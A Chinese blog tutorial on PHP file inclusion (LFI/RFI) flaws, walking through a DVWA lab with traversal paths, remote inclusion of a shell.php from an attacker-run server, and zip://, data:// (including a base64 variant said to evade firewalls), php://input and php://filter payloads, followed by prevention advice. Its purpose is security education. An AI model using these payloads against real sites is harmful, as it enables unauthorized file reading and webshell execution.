文件包含漏洞

文件包含漏洞

一、文件包含漏洞原理解析

1.什么是包含

开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程被称为包含

2.文件包含漏洞产生原因

在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入

当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行

3.文件包含漏洞的分类

①.本地文件包含漏洞

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞(LFI)

例如:xxx.com/index.php?page=/etc/passwd

②.远程文件包含漏洞

当被包含的文件在远程服务器时,就形成的远程文件包含漏洞(RFI)

例如:xxx.com/index.php?page=http://xxx.com/asdfaf.php

远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)

二、目录遍历和文件包含的区别

目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统(更偏向于读取我们原先读取不了的文件)

例如:

1

我们之前无法访问win.ini(不在web目录下),但我们通过include文件包含漏洞去访问到了一个我们原先无法访问的文件,这种一般称为目录遍历

文件包含是通过include等函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含(更偏向于执行,把包含的内容当作php脚本去执行)

但两者的利用方式和漏洞成因都是一样的

三、常见的敏感信息路径

2

四、文件包含函数及其特性

include、include_once、require、require_once

无论他们包含的文件是什么类型,都当成php脚本解析并执行

五、文件包含漏洞访问方法(伪协议)

1.file协议访问绝对路径(file://+绝对路径

file:///C:/phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg

2.直接读取文件:upload/shell.php

3.返回上级目录:../upload/shell.php

4.直接访问绝对路径:C:/phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg

5.绝对路径位置,使用多个../返回根目录(或者过滤掉冒号时):../../../../phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg

6.http协议包含远程文件(无文件上传漏洞只有文件包含漏洞):

①自己启动一个http服务器

3

可以访问一下

4

②复制shell.php的地址去包含,成功执行脚本

5

包含的逻辑是:客户端给服务器提交了一个请求,让受害服务器从黑客的服务器上包含一个文件,受害服务器向黑客服务器发送一个请求,获得了一个shell.php,这个shell.php是在受害服务器上执行(黑客服务器只提供shell.php供受害服务器执行,自己并不执行),而受害服务器在执行后把执行结果返回给客户端【黑客服务器即是攻击者自己的服务器】

7.zip协议:zip://shell.zip#shell.php,若服务器允许上传一个zip压缩包,可以使用该协议读取压缩包里的内容然后进行包含(shell.php前可添加路径,当然也不一定非要php文件,txt也可以,因为文件包含函数的特性,什么文件都会当成php执行)

①上传一个zip压缩包(若服务器只允许上传zip,禁止php,可以把php压缩成zip上传)

②使用zip协议进行包含

6

8.data协议:data://text/plan,<?php phpinfo(); ?>

把逗号后的内容当作文件内容给include包含

7

data协议变种(base64编码):data://text/plan;base64,PD9waHAgcGhwaW5mbygpOyA/Pg(此方法可以绕过一些防火墙)

8

9.php://input协议:在url中直接输入"php://input",在post请求中执行php命令(把用户提交的post表单当作文件内容,与data协议差不多)

9

10.php://filter/read=convert.base64-encode/resource=:读取文件源码

如,要读取"fi_remote.php"文件的源码就可以使用php://filter

我们可以看到,读取出了这样一段内容

10

将这段内容进行base64解码即可读取"fi_remote.php"文件内容

11

六、漏洞防范

1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关

2.路径限制:限制被包含的文件只能在某一文件夹内,禁止目录跳转字符,如:“../”

3.包含文件验证:验证被包含的文件是否是白名单中的一员

4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(“test.php”);

posted @ 2023-01-15 13:20  佐迦  阅读(481)  评论(0编辑  收藏  举报